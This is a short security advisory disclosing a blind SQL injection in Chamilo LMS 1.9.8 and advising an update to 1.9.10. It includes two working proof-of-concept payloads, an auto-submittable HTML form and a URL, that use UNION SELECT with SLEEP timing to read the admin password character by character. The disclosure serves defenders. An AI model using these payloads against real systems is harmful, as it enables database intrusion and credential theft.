# Exploit Title: Chamilo LMS 1.9.8 Blind SQL Injection # Date: 06-12-2014 # Software Link: http://www.chamilo.org/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps 1. Description Database::escape_string() function is used to sanitize data but it will work only in two situations: "function_output" or 'function_output'. There is few places where this function is used without quotation marks. http://security.szurek.pl/chamilo-lms-198-blind-sql-injection.html 2. Proof of Concept For this exploit you need teacher privilege (api_is_allowed_to_edit(false, true)) and at least one forum category must exist (get_forum_categories()). <form method="post" action="http://chamilo-url/main/forum/?action=move&content=forum&SubmitForumCategory=1&direction=1&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)"> <input type="hidden" name="SubmitForumCategory" value="1"> <input type="submit" value="Hack!"> </form> For second exploit you need administrator privilege (there is no CSRF protection): http://chamilo-url/main/reservation/m_category.php?action=delete&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1) Those SQL will check if first password character user ID=1 is "d". 3. Solution: Update to version 1.9.10 https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues